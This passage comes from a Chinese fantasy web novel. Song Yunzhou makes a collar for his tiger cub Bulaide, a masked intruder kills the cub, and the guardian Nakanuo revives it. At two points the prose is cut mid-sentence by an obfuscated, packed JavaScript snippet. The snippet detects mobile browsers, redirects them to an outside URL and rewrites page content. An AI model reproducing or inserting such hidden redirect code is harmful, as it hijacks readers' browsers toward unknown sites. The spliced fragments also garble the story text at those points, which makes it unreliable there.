“它咬人吗?”看了一会儿,霍尔加跃跃欲试地向宋云州请求道,“能让我抱一下吗?” 宋云州:“你会魔法吗?” 霍尔加不明就里地摇头。 宋云州打量霍尔加的神色,看他不像在说谎,就要把布瑞德递过去。 不料这回布瑞德表示了拒绝,它抱着宋云州手臂不撒手,转头将脸抵在他颈窝,并把后脑勺朝向霍尔加。 “这小子这么认主啊。”霍尔加越看越喜欢,缠着宋云州问个不停,“你从哪得来它的?要是还有的话,我也找一只来养养。” 兰缇娅看着这两个玩物丧志的人聊到一块儿,无奈摇头,转回料理台处理肉块去了。 宋云州和霍尔加在桌边坐下,他这时才有闲心看看餐厅里的布置。 一张淡色原木长桌居于正中,能容纳三四十人一同用餐,半人高的储物矮柜绕墙一周,正对门的那面墙被连片的大玻璃窗占据,明媚阳光洒满整个空间。 开放式后厨位于餐厅最里侧,和用餐区域应该原本是由一道布帘相隔,但现在只剩下用来挂帘子的空挂钩。 霍尔加仍不死心地逗布瑞德,想求它理理自己,又晃手指又做鬼脸的。 布瑞德倚在宋云州怀里,垂着眼淡定地看霍尔加搞怪,懒得搭理的同时还有一点点困。 “神殿里一共住着多少人?”宋云州问道。 霍尔加旋即收起鬼脸,清清嗓子,掰着指头数道:“你,我,兰缇娅,纳卡诺,就只有咱们四个人。” “当然,”霍尔加不放过任何一个和布瑞德套近乎的机会,“再加上我们无敌可爱的布瑞德,就是五个。” 宋云州暗想,看来湖畔那名少女确实不是神殿的人。 可他又想到:“不是说圣神在沉眠?祂不在神殿里吗?” 宋云州最开始也想在神殿内部四处逛逛,看看各个房间里面都有什么,但一想到圣神不知道就在哪间屋里睡大觉,万一他推门而入,不小心把祂吵醒了就恐怖了。 因此他很是谨慎地不乱走不乱看,不敢说神明半个字不好。 结果却听霍尔加说:“他不在这里。” 霍尔加:“纳卡诺说圣神沉眠时,神力回归圣坛,连同肉身一并消散。只有等圣神自愿醒来,他才会重归神殿。” 宋云州似懂非懂地点了点头,他不知道圣坛到底是个什么地方,但只要知道神明并非无时无刻在神殿里监视着他,顿觉轻松了许多。 吃过饭,宋云州没留在餐厅继续和他们闲聊,抱着布瑞德脚底抹油溜回了房间。 宋云州还是有点儿后怕,万一刚才兰缇娅狩猎的瘾头儿上来,真拿布瑞德开刀怎么办? 就算不是兰缇娅,保不齐还会有别的什么人,他没办法保证每时每刻都会和布瑞德在一起,危险一直存在。 洞穿野牛坚韧皮肤的利箭不由自主地浮现在宋云州脑海中,这些凶器要是扎在布瑞德身上,他光是想想都觉得心疼得要死。 必须得想个办法。 宋云州在屋里来回踱步思索,布瑞德就卧在床上看着他,长尾巴一动一动的。 它白乎乎的胸脯引起了宋云州的注意—— 要是给布瑞德做一个项圈呢? 那样就能直白告诉意图不轨的人它是有主的虎崽,不可以随便欺负。 这种东西虽说只防君子不防小人,但有总比没有好,毕竟有人疼的和没人在乎的就是不一样。 宋云州打定主意就立刻行动,跑去工具间找来几个小铁片和一些工具。 他单膝跪在床前,把各种形状的小铁片逐一放在布瑞德胸前的毛毛上看效果,比划半天,最后选了个椭圆形的。 布瑞德以为宋云州在和它玩什么新型游戏,要多配合有多配合,开心地把小胸膛完整地展示出来,灵动的琥珀眼盯着宋云州看不够。 却没想到宋云州很快就撤身走开,坐到桌前自己鼓捣去了。 备受冷落的布瑞德冲他嗷嗷叫也没能把他叫回来,只得到一两句敷衍的安慰,它在床单上跺了跺前爪,跃下床去。 布瑞德跳上宋云州身边的空椅子,直立起身,两只前爪搭在宋云州的左臂上,探头蹭蹭他的侧脸,看他到底在干什么。 宋云州已经设计好了文字和边缘花纹,正要动手刻字,感觉到布瑞德来监工,他笑着偏头和虎崽蹭了蹭额头。 宋云州的目光重新落回面前的铁片上,他原本只想在正面刻“布瑞德”三个字,现在突然有了更好的想法。 宋云州第一次雕刻没有经验,小心翼翼地一点点弄,直到睡前才全部刻好。 布瑞德安静地躺在宋云州的左手边陪伴他,看宋云州有了其他动作,它也跟着坐起身。 宋云州用干净布擦去铁片上沾的指纹和汗渍,献宝一般递到布瑞德眼前,让它先看看。 布瑞德闻了闻铁片的奇怪味道,当即张嘴想咬一口尝尝,被宋云州躲开。 “这可不是吃的。”宋云州揉揉布瑞德的脑袋,喜悦道,“这以后就是你的铭牌啦,我给你念念——” 宋云州下笔书写的时候就惊讶发现,他依照原本的记忆写字,但手实际写出来的却都是属于这个世界的陌生字符。 宋云州用手依次指过铭牌上的每一个字,逐字读给布瑞德听。 铭牌正面是名字,不止有“布瑞德”,宋云州把自己的名字也刻在了上面—— 【宋云州最爱的布瑞德】 背面是两行小字—— 【我有家人在等我,请不要伤害我哦~】 铭牌正反面的边缘处都刻了一圈细密又精致的花纹,足见制作者的用心。 宋云州从衣柜里找出一件他穿不了的大号衣服,抽走了上面的棕色皮带。 布瑞德乖乖坐在桌上当模特,宋云州把皮带松松套在它脖子上,标好记号后取下,用剪刀把皮带裁剪得更短更细。 经过数次在布瑞德的脖子上调整皮带长度和环扣的位置,宋云州把铭牌加到上面,两者用一小段细铁环牢固连 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霍尔加这话完全是对布瑞德说的,宋云州当即被逗笑。 兰缇娅面向大门口,背倚在料理台上吃面包,左右手各拿了半块,左手的她自己吃,右手的用来喂给站在她身边和面的纳卡诺。 纳卡诺咽下嘴里的,又偏头就着兰缇娅的手咬了一口面包。 兰缇娅正要跟他说这锅面包做得稍微有点儿硬,就看见布瑞德在炫耀它的新项圈,于是用胳膊肘杵了杵纳卡诺,新奇道:“你看你看,这虎崽戴上项圈还真像那么回事。” “虎崽”两个字准确触及到纳卡诺当前最敏感的神经,他立时转身去看,下一瞬就震惊得险些心脏骤停。 纳卡诺遵从圣神的意愿,睁只眼闭只眼让宋云州养虎崽,但他显然低估了宋云州搞事情的能力,这个人让圣神叼球也就罢了,现在居然……居然! 纳卡诺化作黑雾冲到宋云州跟前,瞪着布瑞德脖子上的项圈,组织了半天才说出话来:“你怎么能给他带这种东西?快摘下来。” 纳卡诺的声音并不严厉,也谈不上质问,只是十分迫切。 宋云州看着纳卡诺一愣,不明白他这是怎么了。 还不等宋云州想好该说什么,兰缇娅主动成为了他的嘴替。 “你怎么连人家给虎崽戴个项圈都要管?”兰缇娅慢悠悠走过来,调侃道,“是不是闲的?” “这不是项圈的问题……”纳卡诺不知道该怎么说。 “那是什么的问题?”兰缇娅奇怪道,“又不是往你脖子上戴,人家虎崽都没说什么呢。” 纳卡诺:“……” 兰缇娅和纳卡诺像极了一对欢喜冤家,宋云州实在绷不住,别过身去偷偷乐了一下。 霍尔加则是直接笑出了声,在纳卡诺眼刀扫向他的时候,立刻收声,表情正经,装作刚才笑得前仰后合的人不是他。 纳卡诺看向布瑞德,后者浑然不知发生了什么,还仰着脖子等待新的夸赞。 等了片刻,布瑞德见纳卡诺一直没有任何反应,以为他还没看见它的新宝贝,于是又大发善心地抖了抖毛毛。 哗啦哗啦。 纳卡诺转身就走。 纳卡诺一边继续和面,一边自我安慰,反正他已经尽力了,是圣神执意如此,反正将来想起这件事丢脸的也不是他。 11. 阴霾初现 在纳卡诺看不到的地方,兰缇娅冲宋云州挑了下眉,宋云州会意,当即笑着比了个无声的口型:“谢谢。” 兰缇娅和纳卡诺一起做早餐要吃的面包,宋云州拉着霍尔加翻找出一块昨天没吃完的生肉。 宋云州拿刀从上面片下薄薄一片,用手捏着递到布瑞德嘴边:“你尝尝这个,看看喜不喜欢。” 布瑞德坐在长桌最外侧的椅子上,仰头嗅了嗅肉片,连舌头都没往外伸就躲开了,一点儿想吃的意思都没有。 霍尔加蹲在布瑞德椅子边,近距离观察后抬头问宋云州:“它不好好吃饭吗?” 宋云州把碰过布瑞德鼻头的肉片扔进垃圾桶,摇头道:“咱们吃的东西它都爱吃,但作为一只老虎是不是该吃些生肉才对?” “没准儿只是口味不一样。”霍尔加倒觉得没什么,为布瑞德说话,“不拘吃什么,只要能补充营养就行,等它长大后自己就该知道去打猎了。” 霍尔加的话提醒了宋云州,布瑞德没有大老虎陪伴,也就无法从亲代那里学来生存必须的狩猎技巧。 要是布瑞德什么都不会就被放归森林,肯定撑不了几天,所以这担子还得落在宋云州肩上,他必须想办法教会它。 宋云州想着,手上把生肉块放归原位,在把油布重新盖好的前一刻,他眼角余光瞥见了一个奇怪的小装置。 “这是什么?”宋云州看了看,觉得有一丝熟悉。 霍尔加探头看了一眼:“用来榨果汁的,但不太好用,就放到一边积灰了。” 宋云州猜得不错,他把榨汁器端起来细看。 十几厘米高的铁制底座上顶着一个长方形的空槽,大概成年人一掌的深度,空槽其中一角稍靠下的地方留有一个半圆形缺口,设置铁丝网拦住果肉残渣,外接一小截斜向下的凹槽水道。 说它不好用是因为需要用铁棒人力捣碎果子榨汁,比较耽误工夫。 宋云州却觉得还好,左右闲来无事,可以收拾出来给布瑞德榨点儿苹果汁喝。 香喷喷的面包出炉,四人一同坐在长桌前用餐,主位空出,两两对坐。 有其他人在场,宋云州不太好直接让布瑞德上桌吃饭,于是快速吃完他那份,把布瑞德抱到腿上,将面包撕成一块块的直接用手喂给它吃。 不用宋云州哄或是劝,面包送到布瑞德嘴边,它就会主动张嘴,一口一口安静咀嚼,乖乖地吃早餐。 霍尔加在旁边看得眼热,也撕了一大块面包凑到布瑞德面前,希望可以蒙混过关。 布瑞德才不上当,转头往宋云州怀里一倚,哼哼唧唧撒娇。 宋云州宠溺一笑,连忙又递来一块面包,布瑞德这才张嘴接了。 霍尔加只好遗憾地把面包放进了自己嘴里。 坐在对面的兰缇娅看得津津有味,面包都多吃了几块。 纳卡诺则连头都不抬,完全没眼看。 吃光了一大块面包,布瑞德舔了舔口鼻,把余下的香香味道也卷入口中。 它看到宋云州沾了面包屑的手,下意识想伸舌头去舔干净,但温热柔软的粉舌刚碰到宋云州指尖,就立刻又缩了回来。 宋云州注意到布瑞德这一举动,蓦然发觉它似乎是知道自己的舌头上有倒刺,可能会伤到他,所以从来没有舔过他。 布瑞德吃美了,身上蓄力,又要开始哗啦哗啦,却被宋云州一把按住。 宋云州迅速抱着布瑞德退开餐桌范围,他觉得还是应该收敛一些,万一纳卡诺不再让他养虎崽就完蛋了。 餐具什么的不用冲洗,放在一边等明早自动变干净就行,宋云州由衷赞美并感谢了一下兰缇娅和纳卡诺做的美味面包,率先离开餐厅。 他把布瑞德放下,由它自己跑跑跳跳,找出个大背篓背上,带它去果园摘苹果。 清晨的林间阴凉清爽,不见鸟雀的身影,却不断有悦耳的啁啾声传来。 伴随着铭牌哗啦哗啦的脆响,布瑞德在白石板路上跑来跑去,超出宋云州一段,再折返跑回到他身边,蹭蹭他的裤腿,又继续朝前跑。 这还是布瑞德遇到宋云州后,第一次重新回到这里,它探索一般凑到写着“圣神果园”的木板前仔细嗅了嗅。 宋云州直觉布瑞德要抬腿标地盘,赶紧把它从木板前扒拉走。 果园状况良好,没有新的事故发生,之前被布瑞德抠掉的树皮都慢慢长了回来,现在看起来已经不是那么显眼了。 距离上次巡视果园还没到半个月,宋云州偷了个懒,没再往里走,把背篓放在地上,就在入口处的几棵果树前晃悠,挑挑拣拣,只选最大最红的苹果摘下。 布瑞德蹲守在背篓边,帮宋云州看管东西,虽然它还没有背篓高,但十分尽责。 每次宋云州抱着好几颗苹果往背篓里放,都会顺便奖励它几下摸摸头。 就在宋云州再一次去摘苹果的时候,远处林子里的灌木突然发出了一声响动。 布瑞德动了下耳朵,立刻机敏地往那处看去。 有一簇草叶在几乎静止的草木间突兀地微微晃动,不知道是蝴蝶还是蚂蚱,布瑞德有些心动。 布瑞德转头看了看仍在忙碌的宋云州,还有它身边的大背篓,纠结了一下,决定坚守岗位,抵制诱惑。 但很快,那处草丛又响了一声。 这一次,布瑞德盯着那里看时,突然有了一种奇怪的感觉,它浑身血液似乎在加速流动,肌肉与骨骼控制不住地紧绷,爪子弹出脚爪,毛毛炸开,颈毛根根倒竖,从一个小毛团膨胀成了一个小刺球。 这种身体变化正是大猫在感知到潜在危险时的本能反应,可惜还没有人来得及告诉布瑞德这一点,否则它一定会用低声吼叫向宋云州示警。 但此时此刻的布瑞德只是认为有些不对劲,作为宋云州和大背篓的守护者,它有责任且有必要去查看一下。 宋云州摘苹果时不可避免地带动树枝,枝叶在他耳边晃动的声音完全掩盖了远处的声响,他什么都没有听到。 他抱着苹果回身时,只看到了布瑞德向林子里快速跑去的背影。 宋云州以为它是去方便,便没去管,他现在是一点儿都不担心布瑞德会突然跑掉了。 可当宋云州放好苹果直起身,他猛地反应出异样,刚才匆匆一瞥,布瑞德的身形似乎增大了不少。 宋云州马上看向布瑞德离开的方向,已然看不见它了,他心中不安,即刻追了过去。 宋云州边跑边呼喊布瑞德的名字,却没有得到任何回音,他在一处站定,发觉周遭忽然安静得近乎诡异,连鸟叫声都消失了。 就在此时,一阵细微的哗啦哗啦声从不远处传来。 ——是布瑞德的项圈! 宋云州登时发足狂奔,遥遥望见布瑞德黄黑色的小小身子悬在半空,四肢挣扎挥舞,毛尾巴耷拉着,一个身穿黑色斗篷的男人正用手死死掐住它的脖子。 宋云州目眦欲裂,箭步冲上前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16142439|180420||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,厉声大喝:“你给我住手!” 他朝男人腰侧狠力一撞,使其重心不稳,同时伸手去抢夺布瑞德。 没想到男人力气极大,手像是钢铁般焊在了布瑞德的脖颈上,宋云州用上全部力气竟掰不动他的一根手指。 宋云州和男人身高差不多,虽说男人比他稍壮些,但没道理会有这样悬殊的力量差距。 ——这男人不是普通人,他对付不了。 这个念头在脑海中闪现的刹那,宋云州就想大声呼喊纳卡诺,却震惊发现他竟然发不出声音了。 男人也会魔法! 眼看布瑞德的挣扎越来越微弱,宋云州心急如焚,抄起地上的一截枯枝直插向男人的眼睛。 男人果然被逼撤手抵挡,宋云州抓住他松懈的当口,一拳砸向他仍抓住布瑞德的手腕。 男人手部失力,终于放开了布瑞德。 布瑞德摔在地上打了两个滚,马上爬起来,大咳了几声,摇头清醒了一下。 宋云州在心里冲布瑞德大喊“快跑”,奈何无人能听到。 男人转移目标,径直朝宋云州猛扑过来。 宋云州无意继续跟男人缠斗,只想寻找时机带布瑞德逃离这里,他在男人扑来的那刻,一脚狠踹向他的裆部。 宋云州一点儿力都没留,就是被当场踹烂都有可能,这男人却似是根本感觉不到疼痛。 他只因冲力往后歪了一下身子,就再度朝宋云州袭来,铁钳般的双手死死扼住了宋云州的咽喉! 宋云州被一股巨力带动,撞到树上,背部顿时传来一片火辣辣的痛意,但比这更痛的是他的脖子。 男人的手不是想让他窒息死亡,更像是要生生掐断他的颈骨。 宋云州咬紧牙关和男人角力,双手死命去掰男人的手,却毫无作用。 布瑞德眼看着这一幕,骤然暴发出前所未有的怒吼,狂奔几步纵身一跃—— 像是身体里的潜能被激发,它脚蹬树干借力,转而跳到了男人的手臂上。 布瑞德当即亮出尖牙,用最大的力量咬向掐住宋云州的手,用尽全力撕扯拖拽,想逼男人立刻放开宋云州。 男人的手几秒之内就变得皮开肉绽,却诡异地一滴血都没有流出,也没有松动。 既然这样不行,布瑞德效仿宋云州的样子转而进攻男人的面部。 它直接扑到了男人脸上,用爪子抓挠,用牙齿撕咬,用它所能动用的一切去攻击伤害宋云州的人。 男人果然再次被迫松手,但谁都没有想到的是,男人突然从袖中拔出了一柄闪着寒芒的匕首。 在宋云州注意到男人的危险动作、却还来不及做出反应的时候,男人一手揪住布瑞德的皮毛,将它从自己脸上扯下来,另一手挥动了匕首—— 锋锐寒光一闪之间,刺痛了宋云州的双目。 他近乎疯狂地伸出双手狠命前扑阻拦,却还是慢了一步。 刀锋毫不停滞地刺入布瑞德颈间,划开了它稚嫩柔软的喉管。 滚烫的鲜血瞬间迸射而出,血量之多,像是要在这一息之间,放干这具小小身躯中的所有生机与活力。 男人动手之后,如同丢弃一块无用的废弃物,连看都没看就直接挥手将布瑞德狠狠甩了出去。 布瑞德单薄的脊背撞在树干上,发出“砰”的一声震响,随后摔落在地。 它的四肢轻轻抽搐,已经没有了生的意识,只余大片殷红在它身下汩汩淌开。 12. 异化眼瞳 布瑞德的血飞溅到宋云州脸上身上,落入他大睁的眼中。 宋云州满眼都是血色,在心中声嘶力竭地嘶吼,奋力追逐那只被随手抛到半空中的血染的毛团,却被男人腾出的手牢牢攥住一条手臂,无法再上前半步。 宋云州眼睁睁看着布瑞德重重撞上树干,那一下像是砸在了他的心上,泪水一下子涌出眼眶。 瞬间飙至巅峰的悲痛与愤怒竟让他冲破了束缚在喉间的魔法,暴吼出声:“布瑞德——!” 宋云州声音嘶哑得如同野兽濒死的哀嚎,因魔法撕裂的咽喉流出血来,口腔中满是血腥,沿着他的下巴流下。 男人举起的刀正要插向宋云州的后颈,却因这一声而停顿,似是在震惊这个普通人怎么会解除他的魔法。 宋云州就在这时回过了身,他的眼泪混杂了眼中布瑞德的血,双目赤红,血泪满面,极具恨意的目光剜向男人,同时扬起右手,直接用掌心攥住了刺向他的匕首。 皮肉瞬间被割破,血液顺着宋云州的胳膊淌下,这点儿痛楚在他面前已不值一提。 他用力将已至面前的尖刀一点一点抵回去,眼睛一直紧盯着男人的双眼。 宋云州恢复了声音,但他已经想不起去叫纳卡诺来帮忙了。 他此时满脑子只有一个念头—— 杀了这个王八蛋,给布瑞德报仇! 男人淡漠地注视着宋云州,坚信他的力量仍旧不可撼动,宋云州不过是在垂死挣扎。 可很快,男人死人般冷硬的面容终于出现松动。 他看见突然有化不开的浓重墨色涌入宋云州的双眼,迅速占据全部眼白,眼瞳则迅速化为猩红色,妖异可怖,使宋云州宛如炼狱中爬出的恶鬼。 宋云州对此毫无察觉,连他自己都不知道的是—— 在这一刻,任何魔法都不再对他起效。 男人坚不可摧的力量逐渐弱化,甚至变得不堪一击。 宋云州手臂青筋暴起,坚定地将匕首推开一段距离,而后猛力向外侧一掰,同时用额头猛地撞向男人的鼻梁。 男人向后一个趔趄,手上稍一松劲儿,匕首就被宋云州夺了过去。 宋云州没直接用匕首,而是倒握着匕首柄,挥拳揍向男人的脸颊,无边的恨意在这时全部凝聚在拳头上。 刚刚占据上风的男人在此时毫无还手之力,在宋云州猛烈的攻击下仰摔在地。 宋云州骑在他身上又给了他几拳,直到这时,他才调转匕首的方向,毫不犹豫地刺入了男人的脖颈,横向一划。 就像男人刚刚对待布瑞德那样。 男人没有血,也不会喊疼,这么半天他都没有发出过任何声音,只有他的眼中显露着深深的恐惧。 耳后突然传来破风声,似乎还有什么人在叫他。 宋云州都没有理会,他不管不顾,被猩红充斥的视野中只有面前的仇敌。 他决绝扬手,用匕首彻底切断了男人的头颅。 而就在刚刚,另有一个同样穿黑色斗篷的男人从林中冲出,提起一柄长剑,自背后向宋云州的脖子斩下! 千钧一发之时,幸而有一柄小刀从侧面及时飞来,将长剑击偏一寸,使其只划伤了宋云州的肩侧。 男人旋即挥剑再斩,宋云州却在此时才堪堪回首。 扔出小刀的霍尔加心头一紧,意识到可能要赶不及了,他只能全速奔跑,同时大喝:“纳卡诺快来救人!” 餐厅中,吃得慢条斯理的纳卡诺坐在桌前,正伸手去拿一块新的面包。 他感应到有人在呼唤他,几乎是在瞬间就辨明方位。 纳卡诺偏头朝向果园所在,语速极快地对站在窗边的兰缇娅道:“果园出事了!”随即变作黑雾消失。 原本拿在他手上的面包自由落体,摔落在桌面上。 兰缇娅闻言径直奔向料理台旁的储物柜,动作迅速地拉开柜门,从粮食袋间抽出一柄暗红色剑鞘的长剑,朝果园急奔赶去。 霍尔加话音落下,长剑也已逼至宋云州面前,宋云州侧着身子抬起匕首抵挡。 就在长剑与匕首即将相击的刹那,黑雾瞬息即至,利箭般洞穿男人的胸膛,带着他倒摔出一大段距离,接连撞断了好几棵树。 黑雾退去,纳卡诺挺拔立在男人身前,他抬起的右手穿透了男人的胸膛,将其钉在了树上。 纳卡诺收回手,没多管入侵者,先去检查宋云州的情况。 霍尔加跑到宋云州身边,看了眼被杀的男人,再看伤痕累累的宋云州,知道定是经历了一场恶战,连忙伸手慢慢把宋云州扶起来。 他吃饭时见宋云州对榨汁器感兴趣,猜他会来果园,便打算来凑个热闹一起摘苹果,却没在果园里见到他。 霍尔加暗自庆幸他没有直接回去,而是往林子里走了走,并且来得不算太迟。 宋云州的眼瞳在男人头颅滚落的那刻恢复了正常,他站起身向霍尔加轻轻摆了摆手,拒绝他的搀扶,快步走到旁边的一棵树前,直直跪了下去。 霍尔加连忙上前去扶,却在看清宋云州面前的事物时猛地一怔。 一团熟悉的毛茸茸模样凄惨地倒在血泊中,霍尔加声音不稳:“布……布瑞德?” 宋云州跪倒在布瑞德身前,他闭了闭眼,深吸几口萦绕着血腥味的空气,连呼出的气息都在颤抖。 他强迫自己做好准备,才敢睁开眼睛真正看向布瑞德。 只一眼,泪水便如同决堤的洪流般汹涌而来。 布瑞德一动不动地闭着眼睛,微张开嘴,口鼻处有溢出的血沫。 它的脊柱被撞断了,甚至有一节骨头穿透皮毛刺了出来,胸口纯白的毛毛被鲜血浸透,湿哒哒黏成一绺一绺的。 布瑞德喜欢的项圈完全浸泡在血液里,铭牌刻字的凹槽处积蓄的血凝固成一道道血线,把他们俩的名字染成红色。 宋云州颤着手,徒劳地捂住它颈部那道深刻的创口,手下的皮毛不再温热柔软,而是变得冰冷僵硬。 布瑞德的血已经流尽了,这颗小心脏不会再跳动。 那双漂亮的琥珀眼不会再一刻不停地追随着他。 这副小身躯也不会再为了听哗啦哗啦的声音而欢快地抖动毛毛。 宋云州用指尖一点一点缓缓捋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16142440|180420||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顺布瑞德被弄乱的毛毛,流着泪絮絮低语。 “布瑞德不要死……” “求求你不要死……” “你还没喝到我给你榨的苹果汁呢,超好喝的……” “我还没看到你长成大老虎……” “我们还要陪伴彼此更多的时间……” 说这些话的时候,宋云州脑海中想到是布瑞德叼着毛线球讨摸摸,在床上躺好撒娇让他揉肚皮,还有……就在刚刚倚在他怀里吃面包时可爱乖巧的样子。 可眼前看到的,却是布瑞德怒吼着不顾一切地冲上来、勇敢无畏地拯救他,是漫天飞溅的鲜血,是倒在面前的冰冷身躯。 “我有什么值得你救的……你要是赶紧跑掉就好了……” 宋云州揉了揉布瑞德的脑袋,俯下身,用额头与它的额头再一次轻轻相贴。 “布瑞德……是我没保护好你……” “对不起……” 宋云州一遍又一遍呼唤着布瑞德的名字,痛哭失声。 霍尔加跪在宋云州身边,他只与布瑞德相处过短短几个小时,就已经难以接受它的逝去,他不敢想和它朝夕相处的宋云州该有多痛苦。 无论用什么话去安慰都显得苍白无力,他只是伸手轻轻抚了抚宋云州的后背。 纳卡诺没有上前,沉默地站在不远处望向这边。 迟来一步的兰缇娅见到眼前惨状,泄愤般紧攥了一下手中剑柄。 兰缇娅轻扯了下纳卡诺的衣袖,在他转头看过来时,凑到他耳边用极轻极小的声音询问:“你有没有办法救救它?” 她不敢让宋云州听见,生怕会给他不切实际的希望。 纳卡诺顿了一下,缓缓摇了摇头,又将目光投向那片血色。 唯一知晓实情的纳卡诺并不为布瑞德感到悲伤,赫狄弥斯是神明,只要神力还在,他就不会死。 布瑞德受伤死亡,意味着赫狄弥斯的灵魂将回到圣坛继续沉眠,等待下一次不知何时会到来的苏醒。 纳卡诺一直注视着的是宋云州。 伏在布瑞德身边悲泣的宋云州,令他仿佛看到了多年前坐在苹果树下,抱着树干嚎啕大哭的自己。 那时的他在想什么呢? ——要是有谁能来帮帮他就好了,随便是谁都行,作为交换他愿意付出任何代价。 可并没有任何人来帮他。 他的遗憾已经无法弥补,那宋云州的呢? 对于赫狄弥斯来说,灵魂再度陷入沉眠未尝不是一个好结果,作为神殿的守护者,他合该以圣神的利益为先。 纳卡诺收回目光,打算带着两个入侵者的尸首先行离开。 但在他准备催动法力之时,却听到宋云州故作轻松地说了一句:“布瑞德,没事了,我这就带你回家,一起回家。” 纳卡诺瞬间僵在原地,瞳孔微微战栗,似是多年前的那阵晚风再次环绕身侧,带来一丝苹果的清甜香味。 数息过后,身着黑衣的灰发男人来到了宋云州身边。 他低垂着乌黑的眼眸,不知是对宋云州还是对曾经自己说:“我可以帮你。” 13. 七日血线 宋云州的眼泪化开布瑞德身上凝固的血渍,小小的血滴顺着毛毛末梢滴落在红色的泥土上。 霍尔加脱下穿在衬衣外的马甲,把柔软的内衬翻到外面,叠好,平放在布瑞德身边。 宋云州直起身,盯着黑色的内衬,努力压抑下满心的悲伤,他还不能被打倒,必须振作起来。 他不能让布瑞德一直躺着冰冷的地上,他得把它带回去,给它洗个澡,至少要让它干干静静地离开。 还有太多的事等着他为布瑞德去做。 宋云州深吸了一口气,用手背擦去遮挡视线的泪水,努力牵动嘴角向上扬起,想如往日叫它起床那样轻松地道:“布瑞德,没事了……” 说着就又有眼泪流下,带着哭腔的声音哽咽难听。 “我这就带你回家……”宋云州的喉结滚动了一下,“一起回家。” 宋云州的双手缓缓探到布瑞德身下,将它慢慢托起,他不敢有大的动作,生怕再次伤害到它,尽其所能把它轻柔地移动到干净的内衬上。 在霍尔加的帮助下,宋云州托着内衬,将布瑞德再次抱在怀里。 宋云州正要站起身,却感觉到有人靠近,仰头看到的是纳卡诺的面容。 宋云州一时没听懂纳卡诺的话,哑声问:“帮我……做什么?” 纳卡诺看到宋云州青紫的脖颈、淌血的肩膀和手掌,先抬手用法力治好了他的伤,这才看向他怀中的布瑞德。 纳卡诺声音沉静:“帮你救他。” 黑雾在宋云州的伤处一抚而过,伤痕即刻复原愈合,宋云州却完全没在意。 “可它已经不在了……”宋云州顺着纳卡诺的目光低头看去,话音里有一瞬的茫然。 他旋即意识到什么,猛地抬头望向纳卡诺,却因过于震惊而说不出任何话来。 纳卡诺直直迎着宋云州的眼神,点了点头,说:“带他来‘降愿台’。” 宋云州连忙起身追问:“降愿台在哪儿?” 纳卡诺却已先一步离开了。 兰缇娅奇怪于纳卡诺态度的转变,既然能救为什么要摇头,她替纳卡诺回答:“就是我宰牛的那片空地。” 霍尔加也没想到事情还能有转机,难掩激动地对宋云州道:“咱们快走。” 宋云州看了眼怀中沉睡的毛团,无边希冀自心底浮现,将它抱稳了些,步履匆匆地往神殿赶。 纳卡诺立在圆石空地的正中心,抬起右手,手中握着一团形如火焰般跃动的黑雾。 他闭目默诵咒文,黑火愈燃愈烈。 纳卡诺忽而睁开双眼,用力握紧右手,黑火被他熄灭于掌心,化作数股具有冲击力的黑气,经由他的手臂、躯干抵达脚下,向四外逸散。 黑气在纯白石面上迅疾交错游走,刻画出黑色纹路,瞬间铺展开一道繁杂精密的法阵。 宋云州赶到圆石空地时,见到的是已经开启的完整法阵。 法阵上空黑雾涌现升腾,几乎笼罩住整个神殿,还有多个团状黑雾拖着长尾在半空中左冲右突,而纳卡诺隐于其中,黑雾带起的长风掀动他的衣角。 整个场景透露着与神殿属性极不相符的阴森诡异,若是再加上一些厉鬼般的嚎哭尖啸,就真宛如道行高深的反派巫师在做法施咒,仿佛旁人只要踏入法阵一步,便会万劫不复。 宋云州看着面前的混乱失序,脚下没有丝毫迟疑,这是唯一能救布瑞德的办法,就算真是邪术,他也必须要试一试才行。 宋云州靠近法阵边缘,一股无形的力量止住了他的脚步,空中乱舞的其中一道黑雾直冲入他怀中,卷走了布瑞德。 眨眼间,布瑞德出现在法阵中心,悬浮于半空中。 纳卡诺一挥手,更多黑雾从阵纹中分裂而出,脱离法阵,在神殿周遭盘旋。 黑雾掠过宋云州身边时,他眼尖地发现竟有无数细小的鲜红血珠裹挟在雾气中。 片刻后,四散的黑雾又自四面八方汇聚而来,绕阵数周后先后向布瑞德冲击。 站在阵外的宋云州焦灼地透过遮挡视线的黑雾向内张望,居然真看到布瑞德不可能再医治的伤处在快速痊愈。 布瑞德身上的血迹也被黑雾尽数冲刷干净,它缓缓睁开了双眼。 布瑞德恢复意识后的第一反应,就是睁大琥珀眼,四处寻找宋云州的身影。 布瑞德的伤已经完全治好了,但它此时还悬在半空,就算发现了远处的宋云州也无法靠近,顿时急得嗷嗷叫,抖出哗啦哗啦的声音试图引起宋云州的注意。 环绕布瑞德的黑雾正带着它徐徐下落,听到那熟悉的声音不由顿住。 布瑞德嫌黑雾下降的动作慢,阻拦它跑向宋云州,遂用后腿蹬了黑雾一脚。 黑雾忍无可忍,趁布瑞德还在它的包围下,打了一下虎崽的屁屁。 虽然一点儿也不疼,但布瑞德还是回身咬它。 黑雾灵敏躲闪,没咬着。 布瑞德才不和它多纠缠,脚爪触及地面的下一刻,朝着它刚刚就瞄好的方向撒腿狂奔,后腿发力一跃,跳进了宋云州的怀里。 其实布瑞德的落点并没有计算得很准确,严谨来说离宋云州的怀抱还差了那么一丢丢。 